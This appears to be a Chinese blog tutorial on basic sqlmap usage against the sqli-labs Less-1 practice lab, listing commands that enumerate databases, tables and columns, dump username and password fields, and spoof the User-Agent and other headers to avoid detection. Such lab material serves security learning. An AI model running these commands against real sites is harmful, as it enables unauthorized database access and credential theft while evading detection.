sqlmap基础用法

sqlmap基础用法

用法以kali Linux下sqli-lab第一关为例192.168.198.136/sqli-labs/Less-1/?id=1

sqlmap目标获取

-u 参数

后面跟url 执行
sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1

-r 参数

后面跟txt ,txt内容为该url的请求报文信息
sqlmap -r /root/1.txt

获取所有数据库

sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1 --dbs

获取security数据库中所有表名

sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1 -D security --tables

获取security数据库中user表中所有字段

sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1 -D security -T users --columns

获取security数据库中user表中字段的内容

sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1 -D security -T users -C username,password --dump

获取数据库用户

sqlmap -u http://192.168.198.136/sqli-labs/Less-1/?id=1 --users
--password
--current-db
--current-user

sqlmap 设置http参数之设定use-agent

(避免用sqlmap 的user-agent 被发现报错)
sqlmap -u "127.0.0.1/sqli-labs/Less-1/?id=1" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0" --banner
用--user-agent 设置user-agent
也可以用--random-agent 随机生成user-agent

sqlmap 设置http参数之设定host/referer

需要在host后面加号或者-level 5
需要在referer后面加
号或者-level 3

设定参数-H /-headers

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -H "user-agent:123"(指定user-agent一个参数)
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --headers = "user-agent:123\nCookie:123456" --banner
(--headers 同时设置多个参数)

sqlmap基础用法

上一篇:Go的mysql库的使用:连接和查询


下一篇:解决Win10更新后远程桌面提示CredSSP加密Oracle修正的问题